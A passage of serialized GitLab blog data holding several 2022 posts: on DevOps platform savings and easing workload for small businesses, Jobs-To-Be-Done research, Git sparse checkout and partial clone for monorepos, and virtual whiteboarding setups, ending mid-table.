Caching","en-us/blog/a-visual-guide-to-gitlab-ci-caching.yml","en-us/blog/a-visual-guide-to-gitlab-ci-caching",{"_path":12660,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12661,"content":12667,"config":12672,"_id":12674,"_type":16,"title":12675,"_source":17,"_file":12676,"_stem":12677,"_extension":20},"/en-us/blog/how-smbs-can-save-with-gitlabs-devops-platform",{"title":12662,"description":12663,"ogTitle":12662,"ogDescription":12663,"noIndex":6,"ogImage":12664,"ogUrl":12665,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12665,"schema":12666},"How SMBs can save with the GitLab DevOps Platform","Use our ROI Calculator to understand how a DevOps platform saves money.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667966/Blog/Hero%20Images/global-compensation-calculator-iteration.jpg","https://about.gitlab.com/blog/how-smbs-can-save-with-gitlabs-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How SMBs can save with the GitLab DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-09-08\",\n      }",{"title":12662,"description":12663,"authors":12668,"heroImage":12664,"date":12669,"body":12670,"category":962,"tags":12671},[3907],"2022-09-08","\n\nMigrating from a complex and costly DevOps toolchain to The One DevOps Platform from GitLab can not only save a small and medium-sized business (SMB) from an inefficient workload, it can result in a big financial savings, too.\n\nAnd that savings could mean the difference between an [SMB failing and thriving](/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform/) in a cutthroat and unpredictable market. That’s right… GitLab’s end-to-end platform can turn IT into a business driver that speeds software creation, boosting competitiveness and pulling in more revenue. \n\nThat’s key for SMBs, which have small IT teams or maybe even a team of one. That means there are fewer hands to do the work, and likely less financial resources. SMBs might also have a harder time hiring general IT people who also can develop and deploy code. The benefits of a single DevOps platform help solve several SMB issues.\n\n“Where [migration is an investment](https://learn.gitlab.com/smbmigrationguide/migratedevopssmb) in time and change, it’s an investment that will pay a lot of dividends in time and money savings,” says [Brendan O’Leary](https://gitlab.com/brendan), staff developer evangelist at GitLab. “If it’s done right, the ROI will be very quick. You can get rid of all those other tools, while speeding up your ability to iterate and serve your customers.”\n\n## Use an ROI calculator\n\nWith so many factors to consider, how can IT managers measure potential savings? \n\nGitLab can help with that. Check out our [ROI Calculator](https://about.gitlab.com/calculator/roi/), which can help estimate the financial benefits an SMB could realize by moving to GitLab from their DIY DevOps toolchain.\n\nGetting rid of a tangle of disparate tools means freeing up money spent on licensing fees, as well as on updating and maintenance. It also means freeing up all the time IT people spend context switching between these tools. And don’t forget The One DevOps Platform is going to help teams develop and deploy faster and more efficiently, [making SMBs more nimble and competitive](/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform/). \n\n## How to save with GitLab\n\nLet’s look at [how an SMB can save money](https://cdn.pathfactory.com/assets/10519/contents/427544/b901b768-7b0e-4590-b00e-047a80536cdb.pdf) by shifting from a complex toolchain to GitLab’s DevOps Platform:\n\n- License fees are obvious costs that need to be considered when trying to calculate ROI. \n\n- The cost of maintaining the software over time also needs to be factored in. \n\n- Consider how much time and energy is spent on tool upgrades, security patching, and monitoring the performance and overall availability of a multitude of tools.\n\n- Because GitLab’s platform speeds development and deployment, productivity increases and that propels revenue and opportunities to grow the company.\n\n- A complicated toolchain that has users continually jumping between tools and switching interfaces creates a chaotic environment that requires constant management, tweaking, updating, and stitching. That means IT is managing the toolchain instead of actually developing and delivering the code that drives the bottom line. Software isn’t efficiently created in a chaotic environment.\n\n- IT is wasting time, energy, and money getting up to speed on each tool. This goes for every new person who has to learn each tool, instead of a single application.\n\n- SMBs find new customers – and the revenue they bring – by creating software that satisfies customers’ needs. You can do that more quickly with a DevOps platform.\n\n- Because GitLab’s DevOps Platform enables companies to develop and deploy more securely, more quickly, and with less hands-on work, SMBs are more able to change on a dime to meet or get ahead of new demands and even new competitors.\n\n- If an IT team is spending time on the care and feeding of a toolchain instead of doing interesting software development, it can cause stress and job dissatisfaction, which could lead to problematic turnover.\n\n- The One DevOps Platform naturally pushes security left so it’s automatically integrated into every step of the development lifecycle. Detecting errors early in the process is much cheaper and less time consuming than detecting them in production. \n\nThat’s a lot of ways to save money and earn extra revenue. And all of that can be done with one single license, one permission model, and one interface, giving teams the time and resources to focus on creating business value instead of managing a toolchain.\n\n## Drilling down on ways to save\n\nGitLab’s DevOps Platform allows teams to move from, or avoid, that often complex and confusing multitude of tools by using a single, complete software development ecosystem. An SMB may be small enough that it hasn’t amassed a complex toolchain – yet. But it will only grow more unwieldy as the company grows. Now is the time to adopt a single platform and avoid that problem all together. \n\n\"It enables us to write better software more efficiently,” said Dorian de Koning, DevOps lead at [Weave](https://weave.nl), a software technology developer based in The Netherlands. “We went from single manual deployment approximately every two weeks to tens of deployments a day.\"\n",[4103,2705,10921],{"slug":12673,"featured":6,"template":678},"how-smbs-can-save-with-gitlabs-devops-platform","content:en-us:blog:how-smbs-can-save-with-gitlabs-devops-platform.yml","How Smbs Can Save With Gitlabs Devops Platform","en-us/blog/how-smbs-can-save-with-gitlabs-devops-platform.yml","en-us/blog/how-smbs-can-save-with-gitlabs-devops-platform",{"_path":12679,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12680,"content":12686,"config":12692,"_id":12694,"_type":16,"title":12695,"_source":17,"_file":12696,"_stem":12697,"_extension":20},"/en-us/blog/jobs-to-be-done-interviews",{"title":12681,"description":12682,"ogTitle":12681,"ogDescription":12682,"noIndex":6,"ogImage":12683,"ogUrl":12684,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12684,"schema":12685},"How we use the Jobs-To-Be-Done Framework to rethink user workflow","We experimented with our methodology and this is what we learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670074/Blog/Hero%20Images/jobs-to-be-done.jpg","https://about.gitlab.com/blog/jobs-to-be-done-interviews","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we use the Jobs-To-Be-Done Framework to rethink user workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erika Feldman\"},{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2022-09-07\",\n      }",{"title":12681,"description":12682,"authors":12687,"heroImage":12683,"date":12689,"body":12690,"category":8943,"tags":12691},[12688,5114],"Erika Feldman","2022-09-07","\n\nThe past few years exposed us to the heights of unpredictability, and a lot of time was spent on Zoom. The pandemic showed us that planning is not enough for an organization to survive in difficult times. Companies need to be flexible enough to innovate in accordance with altered workflows if they wish to sustain and support market use cases as they evolve. Innovating and iterating at the speed of DevOps requires designers and researchers to look at the user workflow differently, outside of the content of the UI. To understand our users and how their work has changed, we zoomed out our perspective by asking users their key tasks and goals at the Stage level - instead of presenting them with a UI to work within. \n\nAt GitLab, we use the Jobs-To-Be-Done ([JTBD](/handbook/product/ux/jobs-to-be-done/)) framework to always keep room for innovation in our approach to research and customer inquiry. We believe that our users do not purchase our product because of the features and capabilities we build into it, but for what it helps them accomplish in their workflows. To capture more macro-changes in user workflows through this research, we adjusted the level of the JTBD framework to focus on the entire code integration, verification, and deployment process.  \n\nWhen we are too focused on the features and solutions we work on day after day, our frame becomes myopic, our sense of progress becomes skewed, and [Conway's law](https://en.wikipedia.org/wiki/Conway%27s_law) rears its head. Our product then reflects our organizational structure rather than the user's workflow. The JTBD framework helps us be more aware of opportunities in the competitive arena by allowing us to understand the goal of the products at a more fundamental level that can easily be missed by a superficial frame.   \n\n## Pipeline execution JTBDs\nThe [Pipeline Execution group](/handbook/engineering/development/ops/verify/pipeline-execution/) in GitLab is responsible for supporting the functionalities with respect to Continuous Integration use cases. GitLab [CI/CD](/topics/ci-cd/) offerings have come a long way over the years. This realization triggered us to start re-examining the vision we have for the Stage Group earlier this year. We wanted to make sure that we’re leaving no stone unturned. And what better place to start than revisiting our JTBDs?\n\n## Designing the research\nTo avoid cutting any corners, we decided to keep our confidence in the product and our biases aside and speak with users without talking to them about our UI. A privilege of working at GitLab is having a well-documented handbook that is a living and evolving single source of truth. We looked at the [documented process](/handbook/product/ux/jobs-to-be-done/mapping-jobs-to-be-done/) and, at the same time, made notes on our assumption around what might not have gone right the previous time we did this exercise. These are the areas we felt we could improve on:\n\n1. Making interviews more collaborative\n2. Documenting the findings without bias\n3. Helping participants tell us about the fundamental workflow level, and not at a utility level\n\n## The interview template\nWe co-created an interview deck with users to help us codify their workflows. After an introduction to the session to set them at ease, we showed them a relatively blank canvas with different stages of their workflow written on the top of the slide. We started with our GitLab Stages, falling into the Conway conunmdrum. At the end of our inquiry and co-creation of the deck templates that we use across participants, we had the following six steps: \n\n1. Define - How code is defined and how it will be integrated and verified\n1. Locate - How team members gets to know about Infrastructure-as-Code frameworks and how they should be used\n1. Execute - How the processes and frameworks are ultimately executed\n1. Monitor - How performance is monitored\n1. Modify  - How teams change existing processes or existing code\n1. Secure, Deploy, and Debrief - How teams securely release changes to production and learn from their most recent process\n\nSpeaking with users for this research activity didn't just help us identify new JTBDs, but also validate some of the [previously listed ones](/handbook/engineering/development/ops/verify/pipeline-execution/jtbd/). The same research also helped us identify opportunities related to learnability of the tool, post code-integration monitoring capabilities and discoverability of the code-verification practices set up by organization on GitLab for their teams.\n\nUsers are at the focal point of our decisons at GitLab and going forward we will continue to improve our research methods and communication practices to capture the insights in the purest form. \n\n",[1307,2249,695],{"slug":12693,"featured":6,"template":678},"jobs-to-be-done-interviews","content:en-us:blog:jobs-to-be-done-interviews.yml","Jobs To Be Done Interviews","en-us/blog/jobs-to-be-done-interviews.yml","en-us/blog/jobs-to-be-done-interviews",{"_path":12699,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12700,"content":12706,"config":12711,"_id":12713,"_type":16,"title":12714,"_source":17,"_file":12715,"_stem":12716,"_extension":20},"/en-us/blog/ease-pressure-on-smb-developers-with-a-devops-platform",{"title":12701,"description":12702,"ogTitle":12701,"ogDescription":12702,"noIndex":6,"ogImage":12703,"ogUrl":12704,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12704,"schema":12705},"Ease pressure on SMB developers with a DevOps platform","Small and medium-sized businesses have to be master multitaskers, but that's not always efficient. Here's how a DevOps platform can help.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668354/Blog/Hero%20Images/handshake.png","https://about.gitlab.com/blog/ease-pressure-on-smb-developers-with-a-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ease pressure on SMB developers with a DevOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-09-06\",\n      }",{"title":12701,"description":12702,"authors":12707,"heroImage":12703,"date":12708,"body":12709,"category":962,"tags":12710},[3907],"2022-09-06","\nAdopting a full, end-to-end DevOps platform eases strain on IT, and that is particularly important in small and medium-sized businesses (SMBs). \n\nSince there’s generally only a handful of IT professionals – at most – working in an SMB, they’re often trying to keep their heads above water. They’re constantly in motion, moving between keeping often less than top-of-the-line systems running, acting as the user help desk, and ensuring company data is safe. They’re not only wearing multiple hats, they’re putting out one fire after another.\n\nWorking under that kind of constant pressure leaves little time and focus for developing and deploying new software, which most [every SMB needs](/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform/) to entice new customers, build the brand, and bring in revenue. Relieving that stress and enabling these tiny IT teams to succeed in creating great software products is about survival. And IT survival is about [adopting a DevOps platform](https://learn.gitlab.com/smbmigrationguide/migratedevopssmb).\n\nRelying on a full DevOps platform empowers IT professionals and enables them to eliminate wasted time and energy so they can focus on being a business driver. There are many parts of an end-to-end DevOps platform that lead to increased efficiency and decreased pressure on the IT team:\n\n- Automate processes – from testing to performance management and monitoring – to enable IT to be hands off with repetitive and often time-consuming tasks and eliminate the potential for human error that can use up a lot of time and money.\n\n- More quickly and efficiently turn a vision into software.\n\n- [Foster collaboration](/blog/5-ways-collaboration-boosts-productivity-and-your-career/) with people across departments to brainstorm design ideas and more efficiently make iterative deployments.\n\n- [Produce more stable and secure software](/blog/toolchain-security-with-gitlab/) that won’t need last-minute fixes or code re-writes.\n\n- Focus on delivering software instead of [managing toolchains](/blog/battling-toolchain-technical-debt/).\n\n- Stop switching back and forth between multiple tool interfaces, passwords, and ways of working.\n\n- Gain an overarching view of the entire development and deployment lifecycle.\n\n- Keep track of and easily access best practices to use in new projects by taking advantage of [continuous documentation](/blog/16-ways-to-get-the-most-out-of-software-documentation/) in the platform. \n\nLike anyone, IT professionals don’t perform best when they’re in a constant reactive state. Sure, many SMBs have started to use various DevOps tools to relieve the stress on IT, but if they haven’t adopted a single platform, then they’re simply creating more expense and more work for their already overburdened IT staff. That’s because by cobbling together a mishmash of disparate tools, they’re inadvertently creating an unwieldy toolchain that slows down deployment and the business it fuels. \n\nMoving to a full DevOps platform means shedding that costly and complex toolchain, speeding the transition of business vision into working software, and cutting the workload weighing down IT. \n\nAnd relieving that workload also is about keeping employees happy and less stressed. The [greatest resource a company has is its people](/blog/hiring-in-the-deep-end-of-the-talent-pool/). This is even more true for small companies where the pain of employee dissatisfaction and departure is felt even more acutely. Managers also don’t want projects waylaid because the people driving them are leaving. To stop that from happening, it’s critical to help people get their work done efficiently and more easily, which also reduces their stress and makes them happier.\n\nAn end-to-end platform isn’t just another tool. It’s a whole new way of working that can diminish the often chaotic environment that can surround IT. An SMB’s IT people will still wear many different hats but developing and deploying new software and iterations will be easier, more efficient, and less taxing.\n",[4103,2368,2705],{"slug":12712,"featured":6,"template":678},"ease-pressure-on-smb-developers-with-a-devops-platform","content:en-us:blog:ease-pressure-on-smb-developers-with-a-devops-platform.yml","Ease Pressure On Smb Developers With A Devops Platform","en-us/blog/ease-pressure-on-smb-developers-with-a-devops-platform.yml","en-us/blog/ease-pressure-on-smb-developers-with-a-devops-platform",{"_path":12718,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12719,"content":12724,"config":12728,"_id":12730,"_type":16,"title":12731,"_source":17,"_file":12732,"_stem":12733,"_extension":20},"/en-us/blog/speed-up-your-monorepo-workflow-in-git",{"title":12720,"description":12721,"ogTitle":12720,"ogDescription":12721,"noIndex":6,"ogImage":12264,"ogUrl":12722,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12722,"schema":12723},"Speed up your monorepo workflow in Git","Tap into the features that can reap huge savings in the long run for any developer team.","https://about.gitlab.com/blog/speed-up-your-monorepo-workflow-in-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Speed up your monorepo workflow in Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Cai\"}],\n        \"datePublished\": \"2022-09-06\",\n      }",{"title":12720,"description":12721,"authors":12725,"heroImage":12264,"date":12708,"body":12726,"category":734,"tags":12727},[4903],"\n\nMonorepos have grown in popularity in recent years. For many of us, they are a\npart of our daily Git workflows. The trouble is working with them can be slow. Speeding up\na developer's workflow can reap huge savings in the long run for any team.\n\nFirst, a word about monorepos. What does it mean for a repository to be a\nmonorepo anyway? Well, it depends who you ask and the definition has become\nmore flexible over time, but here are a few.\n\n## Characteristics of monorepos\n\nMonorepos have the following characteristics.\n\n### Multiple sub-projects\n\nThe typical definition of \"monorepo\" is a repository that contains multiple sub-projects. For instance, let's imagine a repository with a web-facing front end,\na backend, an iOS app directory, and an android app directory:\n\n```\nawesome-app/\n|\n|--backend/\n|\n|--web-frontend/\n|\n|--app-ios/\n|\n|--app-android/\n\n```\n\n`awesome-app` is a single repository:\n\n```\ngit clone https://my-favorite-git-hosting-service.com/awesome-app.git\n```\n\nThe [Chromium](https://github.com/chromium/chromium) repository is a good\nexample of this.\n\n### Large files\n\nRepositories can also grow to be very large if large files are checked in. In\nsome cases, binaries or other large assets such as images are checked into the\nrepository to have their history tracked. Other times, large files are inadvertently \nintroduced into the repository. The way Git history works, even if these files are\nimmediately removed, the single version that was checked in remains.\n\n### Old projects with deep histories\n\nWhile Git is very good at compressing text files, when a Git repository has a deep history,\nthe need to keep all versions of a file around can cause the size of the repository to be huge.\n\nThe [Linux](https://github.com/torvalds/linux) repository is a good example of this.\n\nFor instance, the Linux project's first Git commit is from [April 2005](https://github.com/torvalds/linux/commit/1da177e4c3f41524e886b7f1b8a0c1fc7321cac2).\n\nAnd a `git rev-list --all --count` gives us 1,120,826 commits! That's a lot of\nhistory! Getting into Git internals a little bit, Git keeps a commit object, and a\ntree object for each commit, as well as a copy of the files at that snapshot\nin history. This means a deep Git history means a lot of Git data.\n\n## Speeding up your Git workflow\n\nHere are some features to help speed up your Git workflow.\n\n### Sparse checkout\n\n[git sparse checkout](https://git-scm.com/docs/git-sparse-checkout) reduces the\nnumber of files you check out to a subset of the repository. (NOTE: This feature\nin Git is still marked experimental.) This is especially useful in the case of\n[many sub-projects in a repository](#multiple-sub-projects).\n\nTaking our [example](#multiple-sub-projects) of a monorepo with multiple\nsub-projects, let's say that as a front-end web developer I only need to make\nchanges to `web-frontend/`.\n\n```sh\n> git clone --no-checkout https://my-favorite-git-hosting-service.com/awesome-app.git\n> cd awesome-app\n> git sparse-checkout set web-frontend\n> git checkout\nYour branch is up to date with 'origin/master'.\n> ls\n> web-frontend README.md\n```\n\nOr, if you've already checked out a worktree, sparse checkout can be used to remove\nfiles from the worktree.\n\n\n```sh\n> git clone https://my-favorite-git-hosting-service.com/awesome-app.git\n> cd awesome-app\n> ls\n> backend web-frontend app-ios app-android README.md\n> git sparse-checkout set web-frontend\nUpdating files: 100% (103452/103452), done.\n> ls\n> web-frontend README.md\n```\n\nSparse checkout will only include the directories indicated, plus all files\ndirectly under the root repository directory.\n\nThis way, we only checkout the directories that we need, saving both space locally\nand time since each time `git pull` is done, only files that are checked out will\nneed to be updated.\n\nMore information can be found in the [docs](https://git-scm.com/docs/git-sparse-checkout)\nfor sparse checkout.\n\n### Partial clone\n\n[git partial clone](https://docs.gitlab.com/ee/topics/git/partial_clone.html#:~:text=Partial%20clone%20is%20a%20performance,0%20or%20later%20is%20required) has a similar goal to sparse checkout in reducing the number\nof files in your local Git repository. It provides the option to filter out\ncertain types of files when cloning.\n\nPartial clone is used by passing the `--filter` option to `git-clone`.\n\n```sh\ngit clone --filter=blob:limit=10m\n```\n\nThis will exclude any files over 10 megabytes from being copied to the local\nrepository. A full list of supported filters are included in the\n[docs for git-rev-list](https://git-scm.com/docs/git-rev-list#Documentation/git-rev-list.txt",[1067,1444,696],{"slug":12729,"featured":6,"template":678},"speed-up-your-monorepo-workflow-in-git","content:en-us:blog:speed-up-your-monorepo-workflow-in-git.yml","Speed Up Your Monorepo Workflow In Git","en-us/blog/speed-up-your-monorepo-workflow-in-git.yml","en-us/blog/speed-up-your-monorepo-workflow-in-git",{"_path":12735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12736,"content":12742,"config":12747,"_id":12749,"_type":16,"title":12750,"_source":17,"_file":12751,"_stem":12752,"_extension":20},"/en-us/blog/whiteboarding-remote-work-superpower",{"title":12737,"description":12738,"ogTitle":12737,"ogDescription":12738,"noIndex":6,"ogImage":12739,"ogUrl":12740,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12740,"schema":12741},"Virtual whiteboarding is a remote work super power","Want to master a collective understanding of technical explanations remotely? Learn how to use virtual whiteboards to their maximum capabilities in this tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682431/Blog/Hero%20Images/kvalifik-5Q07sS54D0Q-unsplash.jpg","https://about.gitlab.com/blog/whiteboarding-remote-work-superpower","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Virtual whiteboarding is a remote work super power\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2022-09-01\",\n      }",{"title":12737,"description":12738,"authors":12743,"heroImage":12739,"date":12744,"body":12745,"category":734,"tags":12746},[1244],"2022-09-01","\n\nAt one point in my career I had a solo business in technology training. During this time, I went through a transition from live, in-person classes to live-delivered virtual classes. One of the things that I dearly missed in virtual delivery was unpacking explanations through whiteboarding. The difference in the speed and completeness of achieving common understanding across the group was very evident by the nature of the questions and discussions that occured immediately afterward. \n\nAt that time, it was difficult to find solutions that enabled me to do this as fluidly as an in-person classroom experience. I persisted and came up with an elaborate solution involving software and hardware – but the results of a fluid whiteboarding experience for both presenter and participants were preserved.\n\n## Explaining and collaborating through drawings\n\n“[The Back of the Napkin: Solving Problems and Selling Ideas with Pictures](https://www.penguinrandomhouse.com/books/300247/the-back-of-the-napkin-expanded-edition-by-dan-roam/)” is a great book on the topic of leveraging drawing in business meetings. The title contains two main themes. “Selling Ideas” is about explaining something you already understand in a highly effective way that creates shared understanding. “Solving Problems” is a very different mode, that of collaborating to create a new visual model that documents the structure of a problem or envisions a new solution. While there are variations on these two themes, these appear to be two most fundamental modes of using drawing in a group context.\n\n## The importance of progressive disclosure in understanding technical explanations \n\nTechnical explanation is challenging on its own - but the situation is made much worse by presenting complex visuals fully formed. Using a whiteboard for the same explanation leverages the progressive disclosure element of storytelling and overlays it on a technical visualization. This has a fundamental effect of enhancing understanding because when a complex visual appears completely formed, the visual cortex hijacks all neurological attention resources (including listening) as it attempts to make sense of the scene. Progressive disclosure allows the minds of listeners to focus on the verbal explanation because only the component being described is visible. As the narrator reveals the next chunk by drawing while explaining the relationship to the last chunk, the audience naturally shifts their full attention.\n\nYou could think of this effect as being the same as what a cartoon strip does to create a sense of progressive disclosure. By simply framing the scenes, our mind automatically focuses on one frame at a time in the intended sequence. The difference with technical explanations is that the final view is extremely informative without frames - it paints a global picture of the sum of the parts.\n\nThe magic of infographics is also the enforcement of progressive disclosure on their topic matter by purposely creating a visual so long that it must be scrolled. Frequently they are also organized around a natural or contrived timeline that the disclosure of the component parts progresses through. They frequently also create frames through visual effects such as lines, shapes, and whitespace.\n\nTechnical visualizations frequently have the characteristic that a big-picture visual is very valuable for complete understanding. Progressive disclosure resolves the contradictory requirements for both a “parts-level understanding” and a “big-picture understanding” of a technical design visualization. This is accomplished by layering up the big picture through many bite-sized explanations - exactly like how the mind's eye creates the world of a story when it is narrated in a sequence of small parts.\n\nWhiteboarding, by nature, can only be done as progressive disclosure and, in doing so, it transforms technical explanation into much more digestible and memorable frames for the audience to consume.\n\n## Maintaining a common understanding of the composite vision\n\nIn order to have the best chance to foster a \"group creative flow,\" everyone who is collaborating needs to maintain a common understanding of the composite vision as rapidly emerging ideas and insights are iteratively worked in. Whiteboarding fulfills this need in a way that is not distracting to the effort because a visualization of the vision is maintained in real-time during collaboration.\n\nFrequently group insights compound on each other as ideas are expanded by building on idea expressed by someone else in the group. Whiteboarding provides a real-time composite visualization which accelerates more new and valuable insights. Drawing frequently enables collaborators to draw things they can't find the words for at the moment. If the conditions are right, there is the potential for a snowball effect of synergistic ideas being incorporated into the composite whole.\n\nThis is where the need for the mechanism for holding the common understanding needs to be fluid and non-distracting.\n\n## Solutions architecture requires both technical explanation and collaboration\n\nIn my job as a Solutions Architect, it turns out that explanation of technical visuals and collaboration in creating technical designs are critical to making helpful contributions to colleagues, customers, and partners.\n\nIt is truly amazing how much more quickly a group of people can get on the same page and innovate when whiteboarding is available.\n\nWhen there are language barriers, it takes on an even higher value as visuals are not dependent on language and can help store the real-time common understanding between different language speakers. Multiple times, I’ve found that speakers who are working through a translator get excited and are emboldened to start talking in English (my native tongue). Generally, the technical terms are recognized in any language and adding them to the diagram fuels more mutual understanding.\n\nWhen I came to GitLab as a Solutions Architect, I, once again, began to experiment with ways to make fluid whiteboarding easy to do in any meeting.\n\n## Better than real whiteboards for in-person meetings\n\nOccasionally, when working hard for one objective, you accidentally achieve some objectives you didn’t even know you should or could have. This is known as serendipity.\n\nThis is what has happened in my pursuit of very fluid virtual whiteboarding. I found virtual whiteboarding handles a lot of logistics and practical considerations for whiteboarding for in-person meetings such as:\n\n* Verifying availability of whiteboards at a meeting venue\n* Simultaneous whiteboards and computer projection visibility (I’ve been in rooms where you had to stop projecting use the whiteboard)\n* You don’t even need a projector if you do an in-person virtual meeting to share your screen\n* Marker management - smell, mess, dried-out markers\n* The inability to preserve every whiteboard that you draw due to needing to erase for the next one\n* The inability to electronically store or share the visuals\n\n## The challenges of hardware and software selection\n\nI wish I could honestly say the process of putting together a fluid virtual whiteboard setup is now easy but I have not found that to be the case.\n\n### Mental flow requires fluid technology\n\nWhether explaining or collaborating the concept of mental flow is very critical. If the need for flow is interrupted by things that should be transparent, it is frustrating for everyone and the audience quickly loses attention. It interrupts the thoughts of both the whiteboarder and the participants.\n\nThink of the times that someone starts whiteboarding and the one and only marker goes dry and they have to hunt for one. Virtual whiteboarding can actually make the problem of interrupting flow much worse. This is because if there are delays in the hardware or software, the shape of what you are drawing gets incorrectly “smoothed”. \n\nA lack of fluidity will generally make your shapes challenging to draw and then you slow down to allow the system to recognize your strokes and, well, it’s not fluid anymore - it’s distracting and effortful. And the rending of shapes aren’t the worst of it, when trying to add text to label diagram parts, lack of fluidity causes the smaller strokes of text to be unrecognizable. A lack of fluid drawing completely kills the presenters desire to use drawing and the audiences desire to listen to the pictures.\n\n### Fluidity of the drawing activity\n\nIn trying to devise a cost-effective, yet fluid, setup I’ve tried all the shortcuts - such as using capacitive touchscreens with a stylus and using web apps as the primary whiteboarding software. Both of these are deal breakers for me because after trying many instances on these two options, they just never work out to have sufficient fluidity. \n\nSo here are the constraints I ended up adopting to make drawing itself very fluid:\n\n* **Use an iOS or Android mobile platform tablet** - as it has the following advantages:\n    * Native mobile apps are much, much more fluid than web apps.\n    * Many more native software options than there are for laptops.\n    * More modular and cheaper hardware in the long run than attempting to gain these capabilities in a laptop or desktop.\n* **Must support active pen technology** - capacitive touchscreens, even with a stylus, don’t cut it. When working rapidly, the smoothing algorithms aren’t very smooth - this makes drawing shapes difficult, but more importantly it makes writing words especially difficult.\n* **Having a stylus that is the correct length and thickness** is important for fluid writing and drawing. The stylus that comes with tablets is frequently not the conventional length or thickness of real pens or pencils.\n\n### Fluidity of integrating the act of drawing into virtual meetings\n\nUsing drawing needs to be easy for the meeting host and for the participants.\n\n* For easy virtual sharing, it helps if the native app also has a collaborative web app that updates quickly as it avoids the complications of joining the tablet to the meeting and sharing from there. \n* This enables other meeting participants to whiteboard on the same virtual whiteboard without specialized hardware.\n* Some systems allow guests to join and whiteboard without having to setup an account.\n\n### Fluidity of availability of whiteboarding across teams\n\nThere are multiple elements of what will ensure fluid whiteboarding is available to everyone for collaborations. A primary one is cost, followed by local device availability of active pen tablet options in international markets. Thankfully, the applications covered later support both iOS and Android which helps in finding affordable and locally available options.\n\n* Cost\n* Mobile apps tend to be more likely to be available for both major mobile operating systems compared to a native desktop-only solution being available on multiple desktop platforms\n* Mobile platform flexibility and global cost and availability compared to pursuing laptops with the same capability\n\n## A working example setup\n\n![](https://about.gitlab.com/images/blogimages/virtualwhiteboarding/whiteboarding-setup-samsung8.jpg)\n\n### Tablet\n\n* My first tablet was a [Samsung Galaxy Tab A 8.0 with Spen (SM-P200)](https://www.amazon.com/gp/product/B07TS2N27S/) that cost me USD $235. It is actually an international edition as the US market does not seem to offer an active pen tablet in the 8” format. In this case, the stylus fits inside the tablet so is really not appropriate for fluid drawing and writing. \n* Since my first purchase, Samsung has come out with a less expensive line of large tablets with active pen technology, so I now also have the [Samsung Galaxy Tab S6 Lite 10.4 inch (SM-P610NZBAXAR)](https://www.amazon.com/SAMSUNG-Android-Included-Speakers-SM-P610NZBAXAR/dp/B086Z3S3MY/), which I obtained for USD $250. While the stylus in this unit is considered more full-sized, the thickness, feel, forefinger button and length all cause me to reach for my after-market stylus for the most fluid experience.\n\n### Stylus\n\n* For a stylus, I use the [STAEDTLER 180 Noris digital classic EMR Stylus](https://www.amazon.com/STAEDTLER-22-1-digital-compatibility-purchase/dp/B0728HBD7F). I find the length, weight, and lack of buttons all helpful in handling drawing and writing smoothly. The color makes it a little less easy to lose. The downsides include that there are very few tablet cases that can accommodate it and that it looks so much like a pencil that someone in your household may accidentally toss it in the regular pen jar. Always be sure to verify stylus compatibility with your device's active pen technology.\n\n### Settings\n\nI almost returned the 10” tablet due to a behavior that a couple settings fixed. Android tablets with no physical buttons put a navigation bar on the bottom part of the screen. I found that I was having my palm be picked up by the Home Screen button, which would close the whiteboarding app. Also, when any of these buttons are activated by the stylus, it is equally disruptive to the flow. For the Navigation Bar settings, I set “Navigation type” to “Swipe gestures” and I enable “Block gestures with S Pen” (Android 12, Samsung OneUI v4.1).\n\n### Collaborative whiteboard options\n\nThere are multiple options for the collaborative whiteboard options - some completely free and paid options that carry enough value-add features to consider it for heavy users.\n\n\n\u003Ctable>\n  \u003Ctr>\n   \u003Ctd>\n   \u003C/td>\n   \u003Ctd>\u003Ca href=\"https://www.liveboard.online\">Liveboard Online\u003C/a>\n   \u003C/td>\n   \u003Ctd>\u003Ca href=\"https://support.google.com/jamboard/answer/7424836?hl=en\">Google Jamboard\u003C/a>\n   \u003C/td>\n   \u003Ctd>\u003Ca href=\"https://miro.com\">Miro\u003C/a>\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Long Term Usage of Free Tier\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>No - Only 3 Boards\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Native Mobile Apps\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Native Desktop Apps\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n   